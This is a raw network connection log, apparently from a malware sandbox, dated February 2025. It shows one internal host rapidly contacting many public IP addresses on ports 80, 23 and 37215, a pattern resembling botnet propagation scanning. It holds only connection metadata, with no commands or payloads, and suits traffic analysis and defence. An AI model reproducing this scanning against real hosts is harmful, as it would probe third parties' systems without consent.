Feb 4, 2025 18:17:34.390858889 CET	46308	80	192.168.2.23	151.141.42.124
Feb 4, 2025 18:17:34.390870094 CET	46308	80	192.168.2.23	43.25.93.56
Feb 4, 2025 18:17:34.390871048 CET	46308	80	192.168.2.23	137.125.95.94
Feb 4, 2025 18:17:34.390872002 CET	46308	80	192.168.2.23	20.144.207.5
Feb 4, 2025 18:17:34.390872002 CET	46308	80	192.168.2.23	116.94.189.234
Feb 4, 2025 18:17:34.390887022 CET	46308	80	192.168.2.23	42.186.234.251
Feb 4, 2025 18:17:34.390887022 CET	46308	80	192.168.2.23	41.220.42.87
Feb 4, 2025 18:17:34.390893936 CET	46308	80	192.168.2.23	39.129.125.140
Feb 4, 2025 18:17:34.390897989 CET	46308	80	192.168.2.23	91.120.166.182
Feb 4, 2025 18:17:34.390898943 CET	46308	80	192.168.2.23	27.43.152.128
Feb 4, 2025 18:17:34.390913963 CET	46308	80	192.168.2.23	36.185.60.166
Feb 4, 2025 18:17:34.390918016 CET	46308	80	192.168.2.23	138.136.84.96
Feb 4, 2025 18:17:34.390927076 CET	46308	80	192.168.2.23	34.167.229.40
Feb 4, 2025 18:17:34.390934944 CET	46308	80	192.168.2.23	48.61.77.163
Feb 4, 2025 18:17:34.390935898 CET	46308	80	192.168.2.23	61.157.227.134
Feb 4, 2025 18:17:34.390937090 CET	46308	80	192.168.2.23	140.66.5.83
Feb 4, 2025 18:17:34.390937090 CET	46308	80	192.168.2.23	146.172.74.92
Feb 4, 2025 18:17:34.390937090 CET	46308	80	192.168.2.23	190.53.43.199
Feb 4, 2025 18:17:34.390947104 CET	46308	80	192.168.2.23	115.233.59.227
Feb 4, 2025 18:17:34.390952110 CET	46308	80	192.168.2.23	18.153.13.250
Feb 4, 2025 18:17:34.390957117 CET	46308	80	192.168.2.23	116.95.47.166
Feb 4, 2025 18:17:34.390969038 CET	46308	80	192.168.2.23	70.240.77.240
Feb 4, 2025 18:17:34.390971899 CET	46308	80	192.168.2.23	218.1.248.223
Feb 4, 2025 18:17:34.390971899 CET	46308	80	192.168.2.23	123.92.207.172
Feb 4, 2025 18:17:34.390974998 CET	46308	80	192.168.2.23	66.27.146.164
Feb 4, 2025 18:17:34.390984058 CET	46308	80	192.168.2.23	4.139.43.57
Feb 4, 2025 18:17:34.390985012 CET	46308	80	192.168.2.23	108.97.35.38
Feb 4, 2025 18:17:34.390999079 CET	46308	80	192.168.2.23	60.162.114.37
Feb 4, 2025 18:17:34.391001940 CET	46308	80	192.168.2.23	116.147.227.195
Feb 4, 2025 18:17:34.391014099 CET	46308	80	192.168.2.23	25.154.208.243
Feb 4, 2025 18:17:34.391016960 CET	46308	80	192.168.2.23	96.204.30.80
Feb 4, 2025 18:17:34.391021967 CET	46308	80	192.168.2.23	81.3.245.157
Feb 4, 2025 18:17:34.391021967 CET	46308	80	192.168.2.23	98.249.130.7
Feb 4, 2025 18:17:34.391026020 CET	46308	80	192.168.2.23	118.198.6.113
Feb 4, 2025 18:17:34.391031027 CET	46308	80	192.168.2.23	195.252.46.151
Feb 4, 2025 18:17:34.391043901 CET	46308	80	192.168.2.23	86.26.251.209
Feb 4, 2025 18:17:34.391047001 CET	46308	80	192.168.2.23	94.103.254.69
Feb 4, 2025 18:17:34.391050100 CET	46308	80	192.168.2.23	24.85.244.65
Feb 4, 2025 18:17:34.391058922 CET	46308	80	192.168.2.23	61.10.171.170
Feb 4, 2025 18:17:34.391061068 CET	46308	80	192.168.2.23	57.88.20.171
Feb 4, 2025 18:17:34.393591881 CET	37215	35556	156.182.250.239	192.168.2.23
Feb 4, 2025 18:17:34.393605947 CET	37215	35556	197.62.111.253	192.168.2.23
Feb 4, 2025 18:17:34.393615961 CET	37215	35556	156.149.2.251	192.168.2.23
Feb 4, 2025 18:17:34.393625975 CET	37215	35556	156.182.245.149	192.168.2.23
Feb 4, 2025 18:17:34.393635035 CET	37215	35556	197.151.103.183	192.168.2.23
Feb 4, 2025 18:17:34.393644094 CET	37215	35556	197.123.96.21	192.168.2.23
Feb 4, 2025 18:17:34.393657923 CET	37215	35556	41.155.167.138	192.168.2.23
Feb 4, 2025 18:17:34.393667936 CET	37215	35556	41.159.128.29	192.168.2.23
Feb 4, 2025 18:17:34.393678904 CET	35556	37215	192.168.2.23	156.182.245.149
Feb 4, 2025 18:17:34.393681049 CET	35556	37215	192.168.2.23	156.182.250.239
Feb 4, 2025 18:17:34.393682957 CET	35556	37215	192.168.2.23	197.151.103.183
Feb 4, 2025 18:17:34.393683910 CET	35556	37215	192.168.2.23	197.62.111.253
Feb 4, 2025 18:17:34.393687963 CET	35556	37215	192.168.2.23	197.123.96.21
Feb 4, 2025 18:17:34.393688917 CET	35556	37215	192.168.2.23	156.149.2.251
Feb 4, 2025 18:17:34.393688917 CET	37215	35556	156.189.24.66	192.168.2.23
Feb 4, 2025 18:17:34.393699884 CET	37215	35556	197.5.250.60	192.168.2.23
Feb 4, 2025 18:17:34.393703938 CET	35556	37215	192.168.2.23	41.155.167.138
Feb 4, 2025 18:17:34.393707991 CET	35556	37215	192.168.2.23	41.159.128.29
Feb 4, 2025 18:17:34.393709898 CET	37215	35556	156.212.38.118	192.168.2.23
Feb 4, 2025 18:17:34.393721104 CET	37215	35556	156.232.165.149	192.168.2.23
Feb 4, 2025 18:17:34.393729925 CET	35556	37215	192.168.2.23	197.5.250.60
Feb 4, 2025 18:17:34.393731117 CET	37215	35556	197.237.214.4	192.168.2.23
Feb 4, 2025 18:17:34.393732071 CET	35556	37215	192.168.2.23	156.189.24.66
Feb 4, 2025 18:17:34.393735886 CET	37215	35556	41.208.255.247	192.168.2.23
Feb 4, 2025 18:17:34.393744946 CET	35556	37215	192.168.2.23	156.212.38.118
Feb 4, 2025 18:17:34.393774033 CET	37215	35556	156.31.158.184	192.168.2.23
Feb 4, 2025 18:17:34.393774986 CET	35556	37215	192.168.2.23	197.237.214.4
Feb 4, 2025 18:17:34.393786907 CET	37215	35556	41.61.79.140	192.168.2.23
Feb 4, 2025 18:17:34.393790007 CET	35556	37215	192.168.2.23	156.232.165.149
Feb 4, 2025 18:17:34.393790960 CET	35556	37215	192.168.2.23	41.208.255.247
Feb 4, 2025 18:17:34.393791914 CET	37215	35556	197.127.122.247	192.168.2.23
Feb 4, 2025 18:17:34.393801928 CET	37215	35556	41.76.59.198	192.168.2.23
Feb 4, 2025 18:17:34.393811941 CET	37215	35556	197.42.163.155	192.168.2.23
Feb 4, 2025 18:17:34.393816948 CET	37215	35556	156.61.41.183	192.168.2.23
Feb 4, 2025 18:17:34.393821001 CET	37215	35556	41.188.220.87	192.168.2.23
Feb 4, 2025 18:17:34.393821955 CET	35556	37215	192.168.2.23	41.61.79.140
Feb 4, 2025 18:17:34.393824100 CET	35556	37215	192.168.2.23	156.31.158.184
Feb 4, 2025 18:17:34.393826962 CET	35556	37215	192.168.2.23	197.127.122.247
Feb 4, 2025 18:17:34.393830061 CET	37215	35556	197.155.15.214	192.168.2.23
Feb 4, 2025 18:17:34.393845081 CET	37215	35556	197.214.66.50	192.168.2.23
Feb 4, 2025 18:17:34.393845081 CET	35556	37215	192.168.2.23	41.76.59.198
Feb 4, 2025 18:17:34.393848896 CET	35556	37215	192.168.2.23	197.42.163.155
Feb 4, 2025 18:17:34.393848896 CET	35556	37215	192.168.2.23	156.61.41.183
Feb 4, 2025 18:17:34.393853903 CET	35556	37215	192.168.2.23	41.188.220.87
Feb 4, 2025 18:17:34.393853903 CET	35556	37215	192.168.2.23	197.155.15.214
Feb 4, 2025 18:17:34.393858910 CET	37215	35556	197.109.8.182	192.168.2.23
Feb 4, 2025 18:17:34.393868923 CET	37215	35556	41.143.239.10	192.168.2.23
Feb 4, 2025 18:17:34.393878937 CET	37215	35556	197.41.145.88	192.168.2.23
Feb 4, 2025 18:17:34.393894911 CET	35556	37215	192.168.2.23	197.214.66.50
Feb 4, 2025 18:17:34.393897057 CET	37215	35556	156.247.176.88	192.168.2.23
Feb 4, 2025 18:17:34.393908024 CET	37215	35556	197.99.175.156	192.168.2.23
Feb 4, 2025 18:17:34.393912077 CET	35556	37215	192.168.2.23	197.41.145.88
Feb 4, 2025 18:17:34.393912077 CET	35556	37215	192.168.2.23	41.143.239.10
Feb 4, 2025 18:17:34.393918991 CET	37215	35556	41.86.66.71	192.168.2.23
Feb 4, 2025 18:17:34.393934011 CET	35556	37215	192.168.2.23	197.109.8.182
Feb 4, 2025 18:17:34.393934011 CET	35556	37215	192.168.2.23	197.99.175.156
Feb 4, 2025 18:17:34.393939018 CET	35556	37215	192.168.2.23	156.247.176.88
Feb 4, 2025 18:17:34.393940926 CET	37215	35556	156.57.1.247	192.168.2.23
Feb 4, 2025 18:17:34.393954992 CET	35556	37215	192.168.2.23	41.86.66.71
Feb 4, 2025 18:17:34.393982887 CET	35556	37215	192.168.2.23	156.57.1.247
Feb 4, 2025 18:17:34.394762039 CET	37215	35556	41.31.94.141	192.168.2.23
Feb 4, 2025 18:17:34.394804001 CET	35556	37215	192.168.2.23	41.31.94.141
Feb 4, 2025 18:17:34.394804001 CET	37215	35556	197.113.124.171	192.168.2.23
Feb 4, 2025 18:17:34.394840002 CET	35556	37215	192.168.2.23	197.113.124.171
Feb 4, 2025 18:17:34.394896984 CET	37215	35556	41.142.220.189	192.168.2.23
Feb 4, 2025 18:17:34.394908905 CET	37215	35556	197.75.8.104	192.168.2.23
Feb 4, 2025 18:17:34.394921064 CET	37215	35556	197.111.169.81	192.168.2.23
Feb 4, 2025 18:17:34.394931078 CET	37215	35556	41.177.142.0	192.168.2.23
Feb 4, 2025 18:17:34.394936085 CET	37215	35556	197.109.241.18	192.168.2.23
Feb 4, 2025 18:17:34.394944906 CET	37215	35556	197.162.247.196	192.168.2.23
Feb 4, 2025 18:17:34.394952059 CET	35556	37215	192.168.2.23	41.142.220.189
Feb 4, 2025 18:17:34.394952059 CET	35556	37215	192.168.2.23	197.75.8.104
Feb 4, 2025 18:17:34.394958019 CET	37215	35556	41.98.105.250	192.168.2.23
Feb 4, 2025 18:17:34.394963980 CET	35556	37215	192.168.2.23	41.177.142.0
Feb 4, 2025 18:17:34.394965887 CET	35556	37215	192.168.2.23	197.111.169.81
Feb 4, 2025 18:17:34.394968033 CET	37215	35556	41.57.39.242	192.168.2.23
Feb 4, 2025 18:17:34.394972086 CET	35556	37215	192.168.2.23	197.109.241.18
Feb 4, 2025 18:17:34.394984961 CET	35556	37215	192.168.2.23	197.162.247.196
Feb 4, 2025 18:17:34.394987106 CET	35556	37215	192.168.2.23	41.98.105.250
Feb 4, 2025 18:17:34.394993067 CET	37215	35556	197.237.235.179	192.168.2.23
Feb 4, 2025 18:17:34.395003080 CET	37215	35556	197.40.120.14	192.168.2.23
Feb 4, 2025 18:17:34.395006895 CET	37215	35556	41.26.32.0	192.168.2.23
Feb 4, 2025 18:17:34.395008087 CET	35556	37215	192.168.2.23	41.57.39.242
Feb 4, 2025 18:17:34.395013094 CET	37215	35556	197.19.231.190	192.168.2.23
Feb 4, 2025 18:17:34.395021915 CET	37215	35556	41.255.3.158	192.168.2.23
Feb 4, 2025 18:17:34.395032883 CET	37215	35556	41.236.180.31	192.168.2.23
Feb 4, 2025 18:17:34.395035982 CET	35556	37215	192.168.2.23	197.40.120.14
Feb 4, 2025 18:17:34.395037889 CET	37215	35556	41.9.106.176	192.168.2.23
Feb 4, 2025 18:17:34.395044088 CET	35556	37215	192.168.2.23	41.26.32.0
Feb 4, 2025 18:17:34.395051956 CET	35556	37215	192.168.2.23	41.255.3.158
Feb 4, 2025 18:17:34.395057917 CET	37215	35556	41.79.193.156	192.168.2.23
Feb 4, 2025 18:17:34.395061970 CET	35556	37215	192.168.2.23	41.236.180.31
Feb 4, 2025 18:17:34.395061970 CET	35556	37215	192.168.2.23	197.237.235.179
Feb 4, 2025 18:17:34.395064116 CET	35556	37215	192.168.2.23	197.19.231.190
Feb 4, 2025 18:17:34.395070076 CET	37215	35556	41.94.156.7	192.168.2.23
Feb 4, 2025 18:17:34.395083904 CET	37215	35556	156.102.226.225	192.168.2.23
Feb 4, 2025 18:17:34.395083904 CET	35556	37215	192.168.2.23	41.9.106.176
Feb 4, 2025 18:17:34.395093918 CET	35556	37215	192.168.2.23	41.79.193.156
Feb 4, 2025 18:17:34.395107985 CET	37215	35556	41.45.160.19	192.168.2.23
Feb 4, 2025 18:17:34.395108938 CET	35556	37215	192.168.2.23	41.94.156.7
Feb 4, 2025 18:17:34.395117998 CET	35556	37215	192.168.2.23	156.102.226.225
Feb 4, 2025 18:17:34.395119905 CET	37215	35556	156.132.17.193	192.168.2.23
Feb 4, 2025 18:17:34.395132065 CET	37215	35556	41.142.188.190	192.168.2.23
Feb 4, 2025 18:17:34.395143032 CET	37215	35556	156.100.37.107	192.168.2.23
Feb 4, 2025 18:17:34.395143986 CET	35556	37215	192.168.2.23	41.45.160.19
Feb 4, 2025 18:17:34.395148039 CET	37215	35556	41.83.157.207	192.168.2.23
Feb 4, 2025 18:17:34.395152092 CET	35556	37215	192.168.2.23	156.132.17.193
Feb 4, 2025 18:17:34.395153046 CET	37215	35556	197.56.114.165	192.168.2.23
Feb 4, 2025 18:17:34.395163059 CET	37215	35556	197.100.180.238	192.168.2.23
Feb 4, 2025 18:17:34.395173073 CET	37215	35556	197.18.230.253	192.168.2.23
Feb 4, 2025 18:17:34.395184994 CET	35556	37215	192.168.2.23	197.56.114.165
Feb 4, 2025 18:17:34.395185947 CET	35556	37215	192.168.2.23	41.142.188.190
Feb 4, 2025 18:17:34.395185947 CET	35556	37215	192.168.2.23	41.83.157.207
Feb 4, 2025 18:17:34.395195007 CET	35556	37215	192.168.2.23	197.100.180.238
Feb 4, 2025 18:17:34.395205021 CET	35556	37215	192.168.2.23	156.100.37.107
Feb 4, 2025 18:17:34.395205021 CET	35556	37215	192.168.2.23	197.18.230.253
Feb 4, 2025 18:17:34.395973921 CET	37215	35556	41.247.116.76	192.168.2.23
Feb 4, 2025 18:17:34.395984888 CET	37215	35556	41.131.72.241	192.168.2.23
Feb 4, 2025 18:17:34.395994902 CET	37215	35556	41.104.73.90	192.168.2.23
Feb 4, 2025 18:17:34.396018028 CET	35556	37215	192.168.2.23	41.247.116.76
Feb 4, 2025 18:17:34.396020889 CET	35556	37215	192.168.2.23	41.104.73.90
Feb 4, 2025 18:17:34.396020889 CET	35556	37215	192.168.2.23	41.131.72.241
Feb 4, 2025 18:17:34.396053076 CET	37215	35556	197.133.25.103	192.168.2.23
Feb 4, 2025 18:17:34.396063089 CET	37215	35556	197.3.254.218	192.168.2.23
Feb 4, 2025 18:17:34.396095037 CET	35556	37215	192.168.2.23	197.133.25.103
Feb 4, 2025 18:17:34.396097898 CET	35556	37215	192.168.2.23	197.3.254.218
Feb 4, 2025 18:17:34.396100998 CET	37215	35556	156.126.164.19	192.168.2.23
Feb 4, 2025 18:17:34.396114111 CET	37215	35556	156.223.74.14	192.168.2.23
Feb 4, 2025 18:17:34.396142006 CET	35556	37215	192.168.2.23	156.126.164.19
Feb 4, 2025 18:17:34.396147966 CET	35556	37215	192.168.2.23	156.223.74.14
Feb 4, 2025 18:17:34.396156073 CET	37215	35556	156.114.16.252	192.168.2.23
Feb 4, 2025 18:17:34.396167994 CET	37215	35556	41.229.193.158	192.168.2.23
Feb 4, 2025 18:17:34.396198988 CET	35556	37215	192.168.2.23	156.114.16.252
Feb 4, 2025 18:17:34.396202087 CET	35556	37215	192.168.2.23	41.229.193.158
Feb 4, 2025 18:17:34.396210909 CET	37215	35556	197.164.124.17	192.168.2.23
Feb 4, 2025 18:17:34.396223068 CET	37215	35556	156.0.102.198	192.168.2.23
Feb 4, 2025 18:17:34.396233082 CET	37215	35556	156.207.69.44	192.168.2.23
Feb 4, 2025 18:17:34.396251917 CET	37215	35556	41.53.198.137	192.168.2.23
Feb 4, 2025 18:17:34.396255016 CET	35556	37215	192.168.2.23	197.164.124.17
Feb 4, 2025 18:17:34.396259069 CET	35556	37215	192.168.2.23	156.0.102.198
Feb 4, 2025 18:17:34.396262884 CET	37215	35556	41.11.124.137	192.168.2.23
Feb 4, 2025 18:17:34.396272898 CET	37215	35556	156.5.131.154	192.168.2.23
Feb 4, 2025 18:17:34.396275997 CET	35556	37215	192.168.2.23	156.207.69.44
Feb 4, 2025 18:17:34.396291971 CET	37215	35556	41.20.0.147	192.168.2.23
Feb 4, 2025 18:17:34.396297932 CET	35556	37215	192.168.2.23	41.53.198.137
Feb 4, 2025 18:17:34.396300077 CET	35556	37215	192.168.2.23	41.11.124.137
Feb 4, 2025 18:17:34.396302938 CET	37215	35556	41.63.104.83	192.168.2.23
Feb 4, 2025 18:17:34.396310091 CET	35556	37215	192.168.2.23	156.5.131.154
Feb 4, 2025 18:17:34.396322012 CET	37215	35556	197.46.57.135	192.168.2.23
Feb 4, 2025 18:17:34.396332979 CET	37215	35556	197.158.106.209	192.168.2.23
Feb 4, 2025 18:17:34.396353960 CET	35556	37215	192.168.2.23	41.63.104.83
Feb 4, 2025 18:17:34.396356106 CET	35556	37215	192.168.2.23	41.20.0.147
Feb 4, 2025 18:17:34.396361113 CET	35556	37215	192.168.2.23	197.46.57.135
Feb 4, 2025 18:17:34.396373987 CET	35556	37215	192.168.2.23	197.158.106.209
Feb 4, 2025 18:17:34.396382093 CET	37215	35556	41.249.125.119	192.168.2.23
Feb 4, 2025 18:17:34.396393061 CET	37215	35556	156.200.178.160	192.168.2.23
Feb 4, 2025 18:17:34.396398067 CET	37215	35556	41.180.147.202	192.168.2.23
Feb 4, 2025 18:17:34.396408081 CET	37215	35556	41.92.180.215	192.168.2.23
Feb 4, 2025 18:17:34.396420956 CET	37215	35556	197.195.14.152	192.168.2.23
Feb 4, 2025 18:17:34.396435022 CET	37215	35556	156.95.11.57	192.168.2.23
Feb 4, 2025 18:17:34.396436930 CET	35556	37215	192.168.2.23	156.200.178.160
Feb 4, 2025 18:17:34.396439075 CET	35556	37215	192.168.2.23	41.180.147.202
Feb 4, 2025 18:17:34.396442890 CET	35556	37215	192.168.2.23	41.92.180.215
Feb 4, 2025 18:17:34.396455050 CET	35556	37215	192.168.2.23	41.249.125.119
Feb 4, 2025 18:17:34.396455050 CET	35556	37215	192.168.2.23	197.195.14.152
Feb 4, 2025 18:17:34.396459103 CET	37215	35556	41.234.143.220	192.168.2.23
Feb 4, 2025 18:17:34.396461964 CET	35556	37215	192.168.2.23	156.95.11.57
Feb 4, 2025 18:17:34.396471977 CET	37215	35556	41.20.199.207	192.168.2.23
Feb 4, 2025 18:17:34.396482944 CET	37215	35556	156.55.233.80	192.168.2.23
Feb 4, 2025 18:17:34.396495104 CET	35556	37215	192.168.2.23	41.234.143.220
Feb 4, 2025 18:17:34.396502018 CET	35556	37215	192.168.2.23	41.20.199.207
Feb 4, 2025 18:17:34.396517992 CET	35556	37215	192.168.2.23	156.55.233.80
Feb 4, 2025 18:17:34.397151947 CET	37215	35556	41.99.77.250	192.168.2.23
Feb 4, 2025 18:17:34.397192955 CET	37215	35556	156.58.231.181	192.168.2.23
Feb 4, 2025 18:17:34.397197962 CET	35556	37215	192.168.2.23	41.99.77.250
Feb 4, 2025 18:17:34.397202969 CET	37215	35556	197.67.22.7	192.168.2.23
Feb 4, 2025 18:17:34.397236109 CET	35556	37215	192.168.2.23	156.58.231.181
Feb 4, 2025 18:17:34.397236109 CET	35556	37215	192.168.2.23	197.67.22.7
Feb 4, 2025 18:17:34.397238016 CET	37215	35556	156.224.85.173	192.168.2.23
Feb 4, 2025 18:17:34.397243977 CET	37215	35556	197.1.76.64	192.168.2.23
Feb 4, 2025 18:17:34.397245884 CET	37215	35556	41.25.40.80	192.168.2.23
Feb 4, 2025 18:17:34.397278070 CET	35556	37215	192.168.2.23	197.1.76.64
Feb 4, 2025 18:17:34.397284031 CET	35556	37215	192.168.2.23	41.25.40.80
Feb 4, 2025 18:17:34.397286892 CET	35556	37215	192.168.2.23	156.224.85.173
Feb 4, 2025 18:17:34.397365093 CET	37215	35556	41.73.247.120	192.168.2.23
Feb 4, 2025 18:17:34.397382021 CET	37215	35556	41.252.100.6	192.168.2.23
Feb 4, 2025 18:17:34.397392035 CET	37215	35556	197.62.27.78	192.168.2.23
Feb 4, 2025 18:17:34.397398949 CET	35556	37215	192.168.2.23	41.73.247.120
Feb 4, 2025 18:17:34.397412062 CET	35556	37215	192.168.2.23	41.252.100.6
Feb 4, 2025 18:17:34.397424936 CET	35556	37215	192.168.2.23	197.62.27.78
Feb 4, 2025 18:17:34.398691893 CET	47076	23	192.168.2.23	5.126.176.164
Feb 4, 2025 18:17:34.398698092 CET	47076	23	192.168.2.23	100.237.153.242
Feb 4, 2025 18:17:34.398705006 CET	47076	23	192.168.2.23	168.148.49.88
Feb 4, 2025 18:17:34.398708105 CET	47076	23	192.168.2.23	174.159.218.61
Feb 4, 2025 18:17:34.398719072 CET	47076	23	192.168.2.23	211.184.233.28
Feb 4, 2025 18:17:34.398721933 CET	47076	23	192.168.2.23	140.199.250.206
Feb 4, 2025 18:17:34.398722887 CET	47076	23	192.168.2.23	202.114.196.151
Feb 4, 2025 18:17:34.398739100 CET	47076	23	192.168.2.23	148.14.152.81
Feb 4, 2025 18:17:34.398739100 CET	47076	23	192.168.2.23	59.177.206.92
Feb 4, 2025 18:17:34.398744106 CET	47076	23	192.168.2.23	9.80.187.183
Feb 4, 2025 18:17:34.398747921 CET	47076	23	192.168.2.23	45.201.181.48
Feb 4, 2025 18:17:34.398761988 CET	47076	23	192.168.2.23	85.215.132.75
Feb 4, 2025 18:17:34.398761988 CET	47076	23	192.168.2.23	149.218.153.157
Feb 4, 2025 18:17:34.398766994 CET	47076	23	192.168.2.23	158.175.217.19
Feb 4, 2025 18:17:34.398776054 CET	47076	23	192.168.2.23	195.253.82.22
Feb 4, 2025 18:17:34.398777008 CET	47076	23	192.168.2.23	81.133.97.198
Feb 4, 2025 18:17:34.398777008 CET	47076	23	192.168.2.23	123.213.243.231
Feb 4, 2025 18:17:34.398782969 CET	47076	23	192.168.2.23	157.15.55.239
Feb 4, 2025 18:17:34.398794889 CET	47076	23	192.168.2.23	130.12.42.142
Feb 4, 2025 18:17:34.398797989 CET	47076	23	192.168.2.23	212.85.214.92
Feb 4, 2025 18:17:34.398807049 CET	47076	23	192.168.2.23	223.205.11.40
Feb 4, 2025 18:17:34.398808956 CET	47076	23	192.168.2.23	171.179.240.216
Feb 4, 2025 18:17:34.398812056 CET	47076	23	192.168.2.23	149.96.94.132
Feb 4, 2025 18:17:34.398812056 CET	47076	23	192.168.2.23	111.74.205.222
Feb 4, 2025 18:17:34.398825884 CET	47076	23	192.168.2.23	110.91.88.6
Feb 4, 2025 18:17:34.398830891 CET	47076	23	192.168.2.23	170.44.53.95
Feb 4, 2025 18:17:34.398830891 CET	47076	23	192.168.2.23	180.196.157.133
Feb 4, 2025 18:17:34.398833036 CET	47076	23	192.168.2.23	105.38.126.16
Feb 4, 2025 18:17:34.398834944 CET	47076	23	192.168.2.23	111.103.255.249
Feb 4, 2025 18:17:34.398834944 CET	47076	23	192.168.2.23	146.40.237.25
Feb 4, 2025 18:17:34.398854017 CET	47076	23	192.168.2.23	76.67.9.156
Feb 4, 2025 18:17:34.398858070 CET	47076	23	192.168.2.23	206.182.51.130
Feb 4, 2025 18:17:34.398860931 CET	47076	23	192.168.2.23	65.29.236.105
Feb 4, 2025 18:17:34.398860931 CET	47076	23	192.168.2.23	113.28.246.209
Feb 4, 2025 18:17:34.398871899 CET	47076	23	192.168.2.23	105.55.82.150
Feb 4, 2025 18:17:34.398878098 CET	47076	23	192.168.2.23	84.166.107.91
Feb 4, 2025 18:17:34.398883104 CET	47076	23	192.168.2.23	150.165.34.158
Feb 4, 2025 18:17:34.398884058 CET	47076	23	192.168.2.23	170.181.148.239
Feb 4, 2025 18:17:34.398896933 CET	47076	23	192.168.2.23	13.240.70.91
Feb 4, 2025 18:17:34.398897886 CET	47076	23	192.168.2.23	126.144.32.156
Feb 4, 2025 18:17:34.398899078 CET	47076	23	192.168.2.23	81.106.13.181
Feb 4, 2025 18:17:34.398910999 CET	47076	23	192.168.2.23	216.20.92.46
Feb 4, 2025 18:17:34.398914099 CET	47076	23	192.168.2.23	122.196.18.23
Feb 4, 2025 18:17:34.398916006 CET	47076	23	192.168.2.23	187.100.46.188
Feb 4, 2025 18:17:34.398917913 CET	47076	23	192.168.2.23	81.77.135.100
Feb 4, 2025 18:17:34.398933887 CET	47076	23	192.168.2.23	88.148.56.86
Feb 4, 2025 18:17:34.398935080 CET	47076	23	192.168.2.23	209.105.17.199
Feb 4, 2025 18:17:34.398937941 CET	47076	23	192.168.2.23	121.219.161.180
Feb 4, 2025 18:17:34.398937941 CET	47076	23	192.168.2.23	148.49.111.103
Feb 4, 2025 18:17:34.398938894 CET	47076	23	192.168.2.23	121.98.246.172
Feb 4, 2025 18:17:34.398941040 CET	47076	23	192.168.2.23	179.90.242.158
Feb 4, 2025 18:17:34.398960114 CET	47076	23	192.168.2.23	191.50.183.98
Feb 4, 2025 18:17:34.398960114 CET	47076	23	192.168.2.23	92.52.139.86
Feb 4, 2025 18:17:34.398961067 CET	47076	23	192.168.2.23	128.193.151.31
Feb 4, 2025 18:17:34.398961067 CET	47076	23	192.168.2.23	91.121.4.127
Feb 4, 2025 18:17:34.398961067 CET	47076	23	192.168.2.23	203.99.237.49
Feb 4, 2025 18:17:34.398967981 CET	47076	23	192.168.2.23	81.118.206.37
Feb 4, 2025 18:17:34.398969889 CET	47076	23	192.168.2.23	179.134.122.198
Feb 4, 2025 18:17:34.398969889 CET	47076	23	192.168.2.23	220.12.182.254
Feb 4, 2025 18:17:34.398988008 CET	47076	23	192.168.2.23	40.223.212.194
Feb 4, 2025 18:17:34.398988962 CET	47076	23	192.168.2.23	63.1.138.11
Feb 4, 2025 18:17:34.399003029 CET	47076	23	192.168.2.23	51.147.236.208
Feb 4, 2025 18:17:34.399005890 CET	47076	23	192.168.2.23	20.127.106.181
Feb 4, 2025 18:17:34.399005890 CET	47076	23	192.168.2.23	58.219.196.77
Feb 4, 2025 18:17:34.399007082 CET	47076	23	192.168.2.23	34.61.232.35
Feb 4, 2025 18:17:34.399007082 CET	47076	23	192.168.2.23	32.40.19.76
Feb 4, 2025 18:17:34.399009943 CET	47076	23	192.168.2.23	181.103.41.37
Feb 4, 2025 18:17:34.399009943 CET	47076	23	192.168.2.23	124.8.103.102
Feb 4, 2025 18:17:34.399013996 CET	47076	23	192.168.2.23	221.50.255.245
Feb 4, 2025 18:17:34.399013996 CET	47076	23	192.168.2.23	13.200.173.45
Feb 4, 2025 18:17:34.399014950 CET	47076	23	192.168.2.23	150.245.122.125
Feb 4, 2025 18:17:34.399014950 CET	47076	23	192.168.2.23	136.216.227.147
Feb 4, 2025 18:17:34.399024010 CET	47076	23	192.168.2.23	194.147.233.72
Feb 4, 2025 18:17:34.399041891 CET	47076	23	192.168.2.23	176.252.170.105
Feb 4, 2025 18:17:34.399043083 CET	47076	23	192.168.2.23	114.208.251.193
Feb 4, 2025 18:17:34.399054050 CET	47076	23	192.168.2.23	32.247.148.96
Feb 4, 2025 18:17:34.399056911 CET	47076	23	192.168.2.23	151.70.132.123
Feb 4, 2025 18:17:34.399063110 CET	47076	23	192.168.2.23	45.44.144.20
Feb 4, 2025 18:17:34.399070024 CET	47076	23	192.168.2.23	70.244.34.39
Feb 4, 2025 18:17:34.399072886 CET	47076	23	192.168.2.23	38.165.116.50
Feb 4, 2025 18:17:34.399072886 CET	47076	23	192.168.2.23	132.188.10.241
Feb 4, 2025 18:17:34.399076939 CET	47076	23	192.168.2.23	140.30.17.48
Feb 4, 2025 18:17:34.399091005 CET	47076	23	192.168.2.23	201.226.72.32
Feb 4, 2025 18:17:34.399091959 CET	47076	23	192.168.2.23	35.139.164.215
Feb 4, 2025 18:17:34.399095058 CET	47076	23	192.168.2.23	14.234.130.101
Feb 4, 2025 18:17:34.399111986 CET	47076	23	192.168.2.23	118.251.111.127
Feb 4, 2025 18:17:34.399115086 CET	47076	23	192.168.2.23	204.229.241.116
Feb 4, 2025 18:17:34.399115086 CET	47076	23	192.168.2.23	154.156.76.146
Feb 4, 2025 18:17:34.399116039 CET	47076	23	192.168.2.23	70.71.174.44
Feb 4, 2025 18:17:34.399127960 CET	47076	23	192.168.2.23	213.207.210.164
Feb 4, 2025 18:17:34.399141073 CET	47076	23	192.168.2.23	64.187.20.3
Feb 4, 2025 18:17:34.399141073 CET	47076	23	192.168.2.23	108.89.95.73
Feb 4, 2025 18:17:34.399141073 CET	47076	23	192.168.2.23	84.84.94.165
Feb 4, 2025 18:17:34.399141073 CET	47076	23	192.168.2.23	61.22.126.172
Feb 4, 2025 18:17:34.399152040 CET	47076	23	192.168.2.23	171.191.198.141
Feb 4, 2025 18:17:34.399158955 CET	47076	23	192.168.2.23	181.163.57.130
Feb 4, 2025 18:17:34.399159908 CET	47076	23	192.168.2.23	142.3.48.71
Feb 4, 2025 18:17:34.399162054 CET	47076	23	192.168.2.23	208.124.194.201
Feb 4, 2025 18:17:34.399178028 CET	47076	23	192.168.2.23	43.172.211.59
Feb 4, 2025 18:17:34.399180889 CET	47076	23	192.168.2.23	60.25.93.228
Feb 4, 2025 18:17:34.399182081 CET	47076	23	192.168.2.23	192.19.124.121
Feb 4, 2025 18:17:34.399187088 CET	47076	23	192.168.2.23	161.161.1.158
Feb 4, 2025 18:17:34.399188042 CET	47076	23	192.168.2.23	123.187.45.122
Feb 4, 2025 18:17:34.399204016 CET	47076	23	192.168.2.23	141.146.30.212
Feb 4, 2025 18:17:34.399205923 CET	47076	23	192.168.2.23	70.3.224.179
Feb 4, 2025 18:17:34.399208069 CET	47076	23	192.168.2.23	67.253.250.111
